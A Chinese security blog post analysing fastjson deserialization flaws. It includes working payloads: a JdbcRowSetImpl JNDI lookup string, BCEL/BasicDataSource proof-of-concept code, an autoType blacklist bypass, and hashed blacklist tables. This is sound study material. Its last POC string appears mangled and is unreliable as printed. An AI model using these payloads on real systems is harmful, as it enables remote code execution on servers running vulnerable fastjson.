fastjson漏洞学习

 Von's Blog     2022-04-01   44882 words    & views

什么是fastjson

Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。

基本用法非常简单,首先引入fastjson依赖

<dependency>  
 <groupId>com.alibaba</groupId>  
 <artifactId>fastjson</artifactId>  
 <version>1.2.24</version>  
</dependency>

其最基本的用法为:

String s = "{\"name\":\"V0n\",\"age\":\"21\"}";
JSONObject jsonObject = JSON.parseObject(s);
String age = jsonObject.getString("age");
System.out.println(age);

这也是我们平时所熟知的应该对一个Json库应有的方法,即将json字符串转换成一个Json对象,然后调用getString方法传入想要读取的键读取。

但是fastjson还提供了一个额外的功能,fastjson还可以将一个json字符串转换成一个Java Bean对象.

比方说对于以下的类:

public class Student {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}
String s = "{\"name\":\"V0n\",\"age\":\"21\"}";
Student student = JSON.parseObject(s,Student.class);
String name = student.getName();
System.out.println(name);
//输出V0n

fastjson可以根据我们传入的字符串,以及字符串所属类对象,自动的去构建该类的一个实例,并调用类的setter方法为这个对象赋值。这里来看的话可能已经感觉到存在一些风险点了,但要是Student.class这个参数并不是我们可控的那可能利用的面还是不大。但问题就在于fastjson要实例化的对象的类也是我们可控的——传入的json字符串中有@type这个属性时,fastjson会根据@type属性对应的值去构建相应的JSONObject对象

String s = "{\"@type\":\"Student\",\"name\":\"V0n\",\"age\":\"21\"}";
JSONObject student = JSON.parseObject(s);
String name = student.getString("name");
System.out.println(name);

//输出V0n

并且实际上在构建JSONObject时,调用了我们指定的类的构造方法和setter方法,并且setter方法中传入的值就是我们字符串中相应参数的值,因此,只要我们找到一个类,其setter或者getter方法中调用了危险方法,那么在paraseObject的时候就会自动调用相应的构造方法和setter方法。

fastjson利用的感觉其实也挺像反序列化利用的,原生反序列化是从字节序列构造出一个对象并在过程中自动调用了readObject方法,而fastjson是从json字符串中构造对象时会自动调用传入对象的构造方法和setter方法。

简单的fastjson流程分析

fastjson构建JSONObject对象的流程其实挺漫长而且很多分支操作,因此接下来的流程只研究重点的流程:

public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    if (obj instanceof JSONObject) {
        return (JSONObject) obj;
    }

    return (JSONObject) JSON.toJSON(obj);
}

看得出parseObject实际上调用的是parse方法并将parse中返回的Object对象转换为JSONObject返回(JSONObject实际上是一个map,也很正常,符合json字符串的组织形式),接下来跟到DefaultJSONParser的parse方法,核心的点在于:

image-20240401162050132

这里新建了一个JSONobject对象并调用了parseObject方法,至于这个case LBRACE其实是在判断字符串的开始符号是什么,LBRACE常量实际上就是{,核心也就是parseObject方法了

parseObject中首先处理json字符串中的key然后处理value,来到

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
  String typeName = lexer.scanSymbol(symbolTable, '"');
  Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

  if (clazz == null) {
    object.put(JSON.DEFAULT_TYPE_KEY, typeName);
    continue;
  }

  ...
  if (object.size() > 0) {
    Object newObj = TypeUtils.cast(object, clazz, this.config);
    this.parseObject(newObj);
    return newObj;
  }

  ObjectDeserializer deserializer = config.getDeserializer(clazz);
  return deserializer.deserialze(this, clazz, fieldName);
}

这里最关键的就是会判断当前字段是否为JSON.DEFAULT_TYPE_KEY(也即@type),是的话会根据我们传入的类名称去执行类加载得到class对象:

Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());

跟进config.getDeserializer(clazz);可以看到其实这里fastjson也觉得他们的过程和反序列化很类似,都是从字节流/字符串恢复出一个对象的过程,因此这里fastjson开发者页起的方法名字为getDeserializer来得到一个ObjectDeserializer

当中会调用derializer = createJavaBeanDeserializer(clazz, type);,这里传入的clazz和type实际上为同一个对象都是之前实例化的clazz。createJavaBeanDeserializer又会调用JavaBeanInfo.build(clazz, type, propertyNamingStrategy);

build方法可以说就是构建对象的核心了,当中首先了获取了类中的字段和方法(注意这里的方法只是没有用getDeclaredMethods,所以得到的是public修饰的方法)

image-20240401172108192

这里接下来的核心逻辑是遍历methods获取类中的所有setter方法,而具体来说,满足以下条件的method会被认为是setter方法:

  • 非静态方法
  • 返回类型为void或当前类
  • 参数个数为1个
  • 方法名称以set开头且第4位是大写字母

当一个方法被认为是setter方法后,会获得其propertyName(其实也就是字段名,并且当中为了方便处理统一进行了lower处理),即setAge这个方法得到的propertyName为age,然后根据propertyName匹配对应的filed

public static Field getField(Class<?> clazz, String fieldName, Field[] declaredFields) {
    for (Field field : declaredFields) {
        if (fieldName.equals(field.getName())) {
            return field;
        }
    }

    Class<?> superClass = clazz.getSuperclass();
    if (superClass != null && superClass != Object.class) {
        return getField(superClass, fieldName, superClass.getDeclaredFields());
    }

    return null;
}

最后符合条件的setter方法会被构成一个FieldInfo对象并推入fieldList中

add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures,parserFeatures,annotation, fieldAnnotation, null));

遍历获取完setter方法后会再次遍历一次methods以获取getter方法,同理,只有满足一定条件的method才会被认为是getter方法:

  • 非静态方法
  • 无参数
  • 方法名称长度大于4
  • 方法名称以get开头且第4位是大写字母
  • 所对应的propertyName在不在之前setter方法中的propertyName中
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

最后会将我们得到的各种信息封装至JavaBeanDeserializer中,首先会调用类的构造方法创建对象,然后并遍历传入的字符串中其他的字段,并分别为其执行其对应的setter方法和getter方法(注意这里的getter方法是通过其前面严苛条件得到的getter方法)。

值得注意的是这里在为类属性寻找getter和setter方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。

并且这里我还发现在匹配字符串时用到了equalsIgnoreCase来匹配字段是否与filed匹配,所以这里也存在像上篇log4j2攻击里面相同的利用手法,即一些其他unicode字符在equalsIgnoreCase时会和一些英文字符是匹配的

Letter: I Unicode: \u0130 Character: İ
Letter: I Unicode: \u0131 Character: ı
Letter: K Unicode: \u212A Character: K
Letter: S Unicode: \u017F Character: ſ

{\"student\":\"123\"} 等价于{\"\u017Ftudent\":\"123\"}

而parseObject的最后一步是:return (JSONObject) JSON.toJSON(obj);也就是将我们之前得到的Object对象利用toJSON方法转换成一个JSONobject对象,在这个过程中会调用每个属性的getter方法。注意!这里的getter方法不再是上面严苛的getter方法定义,满足的条件相对宽松了些:

  • 非静态方法
  • 无参数
  • 方法名称长度大于4
  • 方法名称以get开头且第4位是大写字母
  • 返回值不为void但同时不能为一个ClassLoader
  • 方法名称不能为getClass或getDeclaringClass
  • 方法名称若为getMetaClass时返回值不能为一个MetaClass(groovy.lang.MetaClass)

并且值得注意的是,parse方法中调用setter时只为传入字符串中定义了值的属性进行setter,而进行toJSON时无论之前传入的字符串里面有没有为一个属性赋值,会调用每个类中的每个getter方法。

这也正是parse方法和parseObject方法的区别:

  1. parse方法返回的直接就是反序列化(请允许我在这这么说)后的对象,而parseObject在这的基础上对这个对象又做了一层封装,返回了一个JSONobject对象。
  2. parse方法只会调用setter方法和一些满足了严苛条件的getter方法,而parseObject方法会在parse方法的基础上调用所有的getter方法。

1.2.24利用

前面絮絮叨叨讲了那么多终于进入了正题,所以从以上来说fastjson中要进行命令执行我们需要找到这么一个类:

  1. 该类的构造方法、setter方法、getter方法中的某一个存在危险操作,比如造成命令执行;
  2. 可以控制该漏洞函数的变量(一般就是该类的属性);

这个版本下其实总的来说有三种利用方法,分别利用了以下三个类:

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl
  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

第一个利用链是常规的Java字节码的执行,但是需要开启Feature.SupportNonPublicField,比较鸡肋,我们就不分析了,主要来看第二和第三种利用方法。

JdbcRowSetImpl利用

JdbcRowSetImpl中有这么一个setter方法:

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

当传入参数为null时会调用connect方法:

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
        } catch (NamingException var3) {
            throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
        }
    } else {
        return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
    }
}

可以看到对其this.getDataSourceName()执行了lookup,这显然就是我们熟悉的jndi注入了,而这个方法显然是一个getter方法,果然,其值是由setter方法传入的:

public void setDataSourceName(String var1) throws SQLException {
  if (this.getDataSourceName() != null) {
    if (!this.getDataSourceName().equals(var1)) {
      super.setDataSourceName(var1);
      this.conn = null;
      this.ps = null;
      this.rs = null;
    }
  } else {
    super.setDataSourceName(var1);
  }
}

public void setDataSourceName(String name) throws SQLException {
  if (name == null) {
    dataSource = null;
  } else if (name.equals("")) {
    throw new SQLException("DataSource name cannot be empty string");
  } else {
    dataSource = name;
  }
  URL = null;
}

不难构建出payload如下:

"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/testobj\",\"AutoCommit\":0}
"

不过JNDI注入一个缺点就是需要出网,在目标没有外网连接的情况下无法利用。因此有了下一种方法

BasicDataSource利用

我们先来回顾下之前BCEL类加载的内容

bcel包中定义了一个ClassLoader并且实现了自己的loadClass方法,该方法可以理解为当传入的class_name以$BCEL开头时,利用传入的class_name来直接构建class对象。

之前构建的POC为:

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class BCEL_test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Class.forName(encode(),true,new ClassLoader());
    }

    public static String encode() throws IOException {
        JavaClass cls = Repository.lookupClass(Evil.class);
        return "$$BCEL$$"+Utility.encode(cls.getBytes(), true);
    }
}

利用点在BasicDataSource(这是tomcat下的一个类)中的createConnectionFactory中:

image-20240402111732423

当driverClassLoader和driverClassName都可控时我们可以进行任意类加载,并且这里的initialize参数还为true,会完整执行整个类加载的流程,完美符合我们前面BCEL利用的流程。

而driverClassLoader和driverClassName都是对象属性,都可以经由相应的setter方法赋值,那么现在问题就变成找到有没有getter或者setter方法调用了createConnectionFactory就行了。

发现只有在createDataSource方法中调用了createConnectionFactory

image-20240402112149699

继续往上找调用:再往上一步就发现有一个getter方法调用了createDataSource

image-20240402112323814

至此整条链条也就走通了,不难构建出POC

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException {
        String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"%s\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
        JSONObject obj = JSON.parseObject(String.format(s,encode()));

    }

    public static String encode() throws IOException {
        JavaClass cls = Repository.lookupClass(Evil.class);
        return "$$BCEL$$"+ Utility.encode(cls.getBytes(), true);
    }
}

这里需要注意的是,driverClassLoader的值我们传入的是一个对象,我猜测这里传入{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"}时会自动进行parse去得到一个ClassLoader,也就是有循环调用的逻辑在里面,不过这里就不去分析源码了,有兴趣的师傅可以去跟跟看。

但是目前的POC存在一个问题,就是getConnection方法是一个setter方法(而且显然不属于满足严苛条件的那种),因此假如要是单纯调用parse方法而不是parseObject方法是不会被调用的,假如要在parse方法中也被调用的话,我们需要将目前的字符串置于一个key中,这样parse方法就会调用每个getter方法(类似于toJSON中的操作),具体原理大概为:

当JSONObject作为json字符串的key时,parse时会执行key的toString方法,执行JSONObject的toString方法时会调用对象的每个getter方法

具体的逻辑我就不跟了,有兴趣的师傅可以参考这篇文章进行调试

有最终POC为:

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.IOException;


public class Main {
    public static void main(String[] args) throws IOException {
        String s = "}:\"x\"}";
        Object obj = JSON.parse(String.format(s,encode()));
    }
    public static String encode() throws IOException {
        JavaClass cls = Repository.lookupClass(Evil.class);
        return "$$BCEL$$"+ Utility.encode(cls.getBytes(), true);
    }
}

不过这里值得注意的是和之前提到的一样,BCEL包在Java 8u251以后被移除了,因此需要注意利用条件。

1.2.25-1.2.41利用

我们先来看下1.2.25版本中是如何修复漏洞的,改动其实就是:

Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
改成了
Class<?> clazz = config.checkAutoType(typeName, null);

也就是现在不会直接加载@type中指定的类而是会经过checkAutoType进行检查,但是如下图所示checkAutoType的机制其实相当复杂和漫长

20230723230324-12283792-296a-1

总的来说是引入了黑白名单机制

image-20240403142153972

并引入了AutoTypeSupport机制,AutoTypeSupport默认值为false,当AutoTypeSupport为false时只会加载白名单中的类,而白名单又默认为空,因此当AutoTypeSupport为false时是无法绕过的,当然了AutoTypeSupport对流程的影响不止于此,但是很多后续的影响现在就不细说了(可以回去看流程图)

AutoTypeSupport开启方法为:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

在经过了一切流程后,最终还是调用了TypeUtils.loadClass来进行类加载,loadClass方法中存在以下判断:

if (className.charAt(0) == '[') {
  Class<?> componentType = loadClass(className.substring(1), classLoader);
  return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
  String newClassName = className.substring(1, className.length() - 1);
  return loadClass(newClassName, classLoader);
}

即当className的起始是 L,结尾是 ;时会将这两项去掉再进行类加载,因此当我们传入类为Lcom.sun.rowset.JdbcRowSetImpl;时,既可以绕过前面黑名单的检测又可以正常类加载com.sun.rowset.JdbcRowSetImpl

1.2.42利用

加L和;的绕过方法到了1.2.42后就失效了,这个版本主要有两个大变化:

黑白名单

fastjson在1.2.42开始,为了阻碍安全人员进行分析,把明文的黑名单改成了哈希过的黑名单,不过现在也已经有安全研究者跑出了绝大部分黑名单的内容

version hash hex-hash name
1.2.42 -8720046426850100497 0x86fc2bf9beaf7aefL org.apache.commons.collections4.comparators
1.2.42 -8109300701639721088 0x8f75f9fa0df03f80L org.python.core
1.2.42 -7966123100503199569 0x9172a53f157930afL org.apache.tomcat
1.2.42 -7766605818834748097 0x9437792831df7d3fL org.apache.xalan
1.2.42 -6835437086156813536 0xa123a62f93178b20L javax.xml
1.2.42 -4837536971810737970 0xbcdd9dc12766f0ceL org.springframework.
1.2.42 -4082057040235125754 0xc7599ebfe3e72406L org.apache.commons.beanutils
1.2.42 -2364987994247679115 0xdf2ddff310cdb375L org.apache.commons.collections.Transformer
1.2.42 -1872417015366588117 0xe603d6a51fad692bL org.codehaus.groovy.runtime
1.2.42 -254670111376247151 0xfc773ae20c827691L java.lang.Thread
1.2.42 -190281065685395680 0xfd5bfc610056d720L javax.net.
1.2.42 313864100207897507 0x45b11bc78a3aba3L com.mchange
1.2.42 1203232727967308606 0x10b2bdca849d9b3eL org.apache.wicket.util
1.2.42 1502845958873959152 0x14db2e6fead04af0L java.util.jar.
1.2.42 3547627781654598988 0x313bb4abd8d4554cL org.mozilla.javascript
1.2.42 3730752432285826863 0x33c64b921f523f2fL java.rmi
1.2.42 3794316665763266033 0x34a81ee78429fdf1L java.util.prefs.
1.2.42 4147696707147271408 0x398f942e01920cf0L com.sun.
1.2.42 5347909877633654828 0x4a3797b30328202cL java.util.logging.
1.2.42 5450448828334921485 0x4ba3e254e758d70dL org.apache.bcel
1.2.42 5751393439502795295 0x4fd10ddc6d13821fL java.net.Socket
1.2.42 5944107969236155580 0x527db6b46ce3bcbcL org.apache.commons.fileupload
1.2.42 6742705432718011780 0x5d92e6ddde40ed84L org.jboss
1.2.42 7179336928365889465 0x63a220e60a17c7b9L org.hibernate
1.2.42 7442624256860549330 0x6749835432e0f0d2L org.apache.commons.collections.functors
1.2.42 8838294710098435315 0x7aa7ee3627a19cf3L org.apache.myfaces.context.servlet
1.2.43 -2262244760619952081 0xe09ae4604842582fL java.net.URL
1.2.46 -8165637398350707645 0x8eadd40cb2a94443L junit.
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource
1.2.46 -7921218830998286408 0x92122d710e364fb8L org.osjava.sj.
1.2.46 -7768608037458185275 0x94305c26580f73c5L org.apache.log4j.
1.2.46 -6179589609550493385 0xaa3daffdb10c4937L org.logicalcobwebs.
1.2.46 -5194641081268104286 0xb7e8ed757f5d13a2L org.apache.logging.
1.2.46 -3935185854875733362 0xc963695082fd728eL org.apache.commons.dbcp
1.2.46 -2753427844400776271 0xd9c9dbf6bbd27bb1L com.ibatis.sqlmap.engine.datasource
1.2.46 -1589194880214235129 0xe9f20bad25f60807L org.jdom.
1.2.46 1073634739308289776 0xee6511b66fd5ef0L org.slf4j.
1.2.46 5688200883751798389 0x4ef08c90ff16c675L javassist.
1.2.46 7017492163108594270 0x616323f12c2ce25eL oracle.net
1.2.46 8389032537095247355 0x746bd4a53ec195fbL org.jaxen.
1.2.48 1459860845934817624 0x144277b467723158L java.net.InetAddress
1.2.48 8409640769019589119 0x74b50bb9260e31ffL java.lang.Class
1.2.49 4904007817188630457 0x440e89208f445fb9L com.alibaba.fastjson.annotation
1.2.59 5100336081510080343 0x46c808a4b5841f57L org.apache.cxf.jaxrs.provider.
1.2.59 6456855723474196908 0x599b5c1213a099acL ch.qos.logback.
1.2.59 8537233257283452655 0x767a586a5107feefL net.sf.ehcache.transaction.manager.
1.2.60 3688179072722109200 0x332f0b5369a18310L com.zaxxer.hikari.
1.2.61 -4401390804044377335 0xc2eb1e621f439309L flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61 -1650485814983027158 0xe9184be55b1d962aL org.apache.openjpa.ee.
1.2.61 -1251419154176620831 0xeea210e8da2ec6e1L oracle.jdbc.rowset.OracleJDBCRowSet
1.2.61 -9822483067882491 0xffdd1a80f1ed3405L com.mysql.cj.jdbc.admin.
1.2.61 99147092142056280 0x1603dc147a3e358L oracle.jdbc.connector.OracleManagedConnectionFactory
1.2.61 3114862868117605599 0x2b3a37467a344cdfL org.apache.ibatis.parsing.
1.2.61 4814658433570175913 0x42d11a560fc9fba9L org.apache.axis2.jaxws.spi.handler.
1.2.61 6511035576063254270 0x5a5bd85c072e5efeL jodd.db.connection.
1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration
1.2.62 -9164606388214699518 0x80d0c70bcc2fea02L org.apache.ibatis.executor.
1.2.62 -8649961213709896794 0x87f52a1b07ea33a6L net.sf.cglib.
1.2.62 -6316154655839304624 0xa85882ce1044c450L oracle.net.
1.2.62 -5764804792063216819 0xafff4c95b99a334dL com.mysql.cj.jdbc.MysqlDataSource
1.2.62 -4608341446948126581 0xc00be1debaf2808bL jdk.internal.
1.2.62 -4438775680185074100 0xc2664d0958ecfe4cL aj.org.objectweb.asm.
1.2.62 -3319207949486691020 0xd1efcdf4b3316d34L oracle.jdbc.
1.2.62 -2192804397019347313 0xe1919804d5bf468fL org.apache.commons.collections.comparators.
1.2.62 -2095516571388852610 0xe2eb3ac7e56c467eL net.sf.ehcache.hibernate.
1.2.62 4750336058574309 0x10e067cd55c5e5L com.mysql.cj.log.
1.2.62 218512992947536312 0x3085068cb7201b8L org.h2.jdbcx.
1.2.62 823641066473609950 0xb6e292fa5955adeL org.apache.commons.logging.
1.2.62 1534439610567445754 0x154b6cb22d294cfaL org.apache.ibatis.reflection.
1.2.62 1818089308493370394 0x193b2697eaaed41aL org.h2.server.
1.2.62 2164696723069287854 0x1e0a8c3358ff3daeL org.apache.ibatis.datasource.
1.2.62 2653453629929770569 0x24d2f6048fef4e49L org.objectweb.asm.
1.2.62 2836431254737891113 0x275d0732b877af29L flex.messaging.util.concurrent.
1.2.62 3089451460101527857 0x2adfefbbfe29d931L org.apache.ibatis.javassist.
1.2.62 3256258368248066264 0x2d308dbbc851b0d8L java.lang.UNIXProcess
1.2.62 3718352661124136681 0x339a3e0b6beebee9L org.apache.ibatis.ognl.
1.2.62 4046190361520671643 0x3826f4b2380c8b9bL com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.62 4841947709850912914 0x43320dc9d2ae0892L org.codehaus.jackson.
1.2.62 6280357960959217660 0x5728504a6d454ffcL org.apache.ibatis.scripting.
1.2.62 6534946468240507089 0x5ab0cb3071ab40d1L org.apache.commons.proxy.
1.2.62 6734240326434096246 0x5d74d3e5b9370476L com.mysql.cj.jdbc.MysqlXADataSource
1.2.62 7123326897294507060 0x62db241274397c34L org.apache.commons.collections.functors.
1.2.62 8488266005336625107 0x75cc60f5871d0fd3L org.apache.commons.configuration
1.2.66 -2439930098895578154 0xde23a0809a8b9bd6L javax.script.
1.2.66 -582813228520337988 0xf7e96e74dfa58dbcL javax.sound.
1.2.66 -26639035867733124 0xffa15bf021f1e37cL javax.print.
1.2.66 386461436234701831 0x55cfca0f2281c07L javax.activation.
1.2.66 1153291637701043748 0x100150a253996624L javax.tools.
1.2.66 1698504441317515818L 0x17924cca5227622aL javax.management.
1.2.66 7375862386996623731L 0x665c53c311193973L org.apache.xbean.
1.2.66 7658177784286215602L 0x6a47501ebb2afdb2L org.eclipse.jetty.
1.2.66 8055461369741094911L 0x6fcabf6fa54cafffL javax.naming.
1.2.67 -7775351613326101303L 0x941866e73beff4c9L org.apache.shiro.realm.
1.2.67 -6025144546313590215L 0xac6262f52c98aa39L org.apache.http.conn.
1.2.67 -5939269048541779808L 0xad937a449831e8a0L org.quartz.
1.2.67 -5885964883385605994L 0xae50da1fad60a096L com.taobao.eagleeye.wrapper
1.2.67 -3975378478825053783L 0xc8d49e5601e661a9L org.apache.http.impl.
1.2.67 -2378990704010641148L 0xdefc208f237d4104L com.ibatis.
1.2.67 -905177026366752536L 0xf3702a4a5490b8e8L org.apache.catalina.
1.2.67 2660670623866180977L 0x24ec99d5e7dc5571L org.apache.http.auth.
1.2.67 2731823439467737506L 0x25e962f1c28f71a2L br.com.anteros.
1.2.67 3637939656440441093L 0x327c8ed7c8706905L com.caucho.
1.2.67 4254584350247334433L 0x3b0b51ecbf6db221L org.apache.http.cookie.
1.2.67 5274044858141538265L 0x49312bdafb0077d9L org.javasimon.
1.2.67 5474268165959054640L 0x4bf881e49d37f530L org.apache.cocoon.
1.2.67 5596129856135573697L 0x4da972745feb30c1L org.apache.activemq.jms.pool.
1.2.67 6854854816081053523L 0x5f215622fb630753L org.mortbay.jetty.
1.2.68 -3077205613010077203L 0xd54b91cc77b239edL org.apache.shiro.jndi.
1.2.68 -2825378362173150292L 0xd8ca3d595e982bacL org.apache.ignite.cache.jta.
1.2.68 2078113382421334967L 0x1cd6f11c6a358bb7L javax.swing.J
1.2.68 6007332606592876737L 0x535e552d6f9700c1L org.aoju.bus.proxy.provider.
1.2.68 9140390920032557669L 0x7ed9311d28bf1a65L java.awt.p
1.2.68 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
1.2.69 -8024746738719829346L 0x90a25f5baa21529eL java.io.Serializable
1.2.69 -5811778396720452501L 0xaf586a571e302c6bL java.io.Closeable
1.2.69 -3053747177772160511L 0xd59ee91f0b09ea01L oracle.jms.AQ
1.2.69 -2114196234051346931L 0xe2a8ddba03e69e0dL java.util.Collection
1.2.69 -2027296626235911549L 0xe3dd9875a2dc5283L java.lang.Iterable
1.2.69 -2939497380989775398L 0xd734ceb4c3e9d1daL java.lang.Object
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 3247277300971823414L 0x2d10a5801b9d6136L java.lang.Cloneable
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
1.2.69 7222019943667248779L 0x6439c4dff712ae8bL java.util.EventListener
1.2.70 -5076846148177416215L 0xb98b6b5396932fe9L org.apache.commons.collections4.Transformer
1.2.70 -4703320437989596122L 0xbeba72fb1ccba426L org.apache.commons.collections4.functors
1.2.70 -4314457471973557243L 0xc41ff7c9c87c7c05L org.jdom2.transform.
1.2.70 -2533039401923731906L 0xdcd8d615a6449e3eL org.apache.hadoop.shaded.com.zaxxer.hikari.
1.2.70 156405680656087946L 0x22baa234c5bfb8aL com.p6spy.engine.
1.2.70 1214780596910349029L 0x10dbc48446e0dae5L org.apache.activemq.pool.
1.2.70 3085473968517218653L 0x2ad1ce3a112f015dL org.apache.aries.transaction.
1.2.70 3129395579983849527L 0x2b6dd8b3229d6837L org.apache.activemq.ActiveMQConnectionFactory
1.2.70 4241163808635564644L 0x3adba40367f73264L org.apache.activemq.spring.
1.2.70 7240293012336844478L 0x647ab0224e149ebeL org.apache.activemq.ActiveMQXAConnectionFactory
1.2.70 7347653049056829645L 0x65f81b84c1d920cdL org.apache.commons.jelly.
1.2.70 7617522210483516279L 0x69b6e0175084b377L org.apache.axis2.transport.jms.
1.2.71 -4537258998789938600L 0xc1086afae32e6258L java.io.FileReader
1.2.71 -4150995715611818742L 0xc664b363baca050aL java.io.ObjectInputStream
1.2.71 -2995060141064716555L 0xd66f68ab92e7fef5L java.io.FileInputStream
1.2.71 -965955008570215305L 0xf2983d099d29b477L java.io.ObjectOutputStream
1.2.71 -219577392946377768L 0xfcf3e78644b98bd8L java.io.DataOutputStream
1.2.71 2622551729063269307L x24652ce717e713bbL java.io.PrintWriter
1.2.71 2930861374593775110L 0x28ac82e44e933606L java.io.Buffered
1.2.71 4000049462512838776L 0x378307cb0111e878L java.io.InputStreamReader
1.2.71 4193204392725694463L 0x3a31412dbb05c7ffL java.io.OutputStreamWriter
1.2.71 5545425291794704408L 0x4cf54eec05e3e818L java.io.FileWriter
1.2.71 6584624952928234050L 0x5b6149820275ea42L java.io.FileOutputStream
1.2.71 7045245923763966215L 0x61c5bdd721385107L java.io.DataInputStream
1.2.83 -8754006975464705441L 0x868385095a22725fL org.apache.commons.io.
1.2.83 -8382625455832334425L 0x8baaee8f9bf77fa7L org.mvel2.
1.2.83 -6088208984980396913L 0xab82562f53e6e48fL kotlin.reflect.
1.2.83 -4733542790109620528L 0xbe4f13e96a6796d0L com.googlecode.aviator.
1.2.83 -1363634950764737555L 0xed13653cb45c4bedL org.aspectj.
1.2.83 -803541446955902575L 0xf4d93f4fb3e3d991L org.dom4j.
1.2.83 860052378298585747L 0xbef8514d0b79293L org.apache.commons.cli.
1.2.83 1268707909007641340L 0x119b5b1f10210afcL com.google.common.eventbus.
1.2.83 3058452313624178956L 0x2a71ce2cc40a710cL org.thymeleaf.
1.2.83 3740226159580918099L 0x33e7f3e02571b153L org.junit.
1.2.83 3977090344859527316L 0x37317698dcfce894L org.mockito.asm.
1.2.83 4319304524795015394L 0x3bf14094a524f0e2L com.google.common.io.
1.2.83 5120543992130540564L 0x470fd3a18bb39414L org.mockito.runners.
1.2.83 5916409771425455946L 0x521b4f573376df4aL org.mockito.cglib.
1.2.83 6090377589998869205L 0x54855e265fe1dad5L com.google.common.reflect.
1.2.83 7164889056054194741L 0x636ecca2a131b235L org.mockito.stubbing.
1.2.83 8711531061028787095L 0x78e5935826671397L org.apache.commons.codec.
1.2.83 8735538376409180149L 0x793addded7a967f5L ognl.
1.2.83 8861402923078831179L 0x7afa070241b8cc4bL com.google.common.util.concurrent.
1.2.83 9140416208800006522L 0x7ed9481d28bf417aL java.awt.i
1.2.83 9144212112462101475L 0x7ee6c477da20bbe3L com.google.common.net.

1.2.67开始,将内置白名单也使用哈希的方式存放。对照表如下:

hash name
0xD4788669A13AE74L java.awt.Rectangle
0xE08EE874A26F5EAFL java.awt.Point
0xDDAAA11FECA77B5EL java.awt.Font
0xB81BA299273D4E6L java.awt.Color
0xA8AAA929446FFCE4L com.alibaba.fastjson.util.AntiCollisionHashMap
0xD0E71A6E155603C1L com.alipay.sofa.rpc.core.exception.SofaTimeOutException
0x9F2E20FB6049A371L java.util.Collections.UnmodifiableMap
0xD45D6F8C9017FAL java.util.concurrent.ConcurrentSkipListMap
0x64DC636F343516DCL java.util.concurrent.ConcurrentSkipListSet
0x7FE2B8E675DA0CEFL org.springframework.dao.CannotAcquireLockException
0xF8C7EF9B13231FB6L org.springframework.dao.CannotSerializeTransactionException
0x42646E60EC7E5189L org.springframework.dao.CleanupFailureDataAccessException
0xCC720543DC5E7090L org.springframework.dao.ConcurrencyFailureException
0xC0FE32B8DC897DE9L org.springframework.dao.DataAccessResourceFailureException
0xDC9583F0087CC2C7L org.springframework.dao.DataIntegrityViolationException
0x5449EC9B0280B9EFL org.springframework.dao.DataRetrievalFailureException
0xEB7D4786C473368DL org.springframework.dao.DeadlockLoserDataAccessException
0x44D57A1B1EF53451L org.springframework.dao.DuplicateKeyException
0xC92D8F9129AF339BL org.springframework.dao.EmptyResultDataAccessException
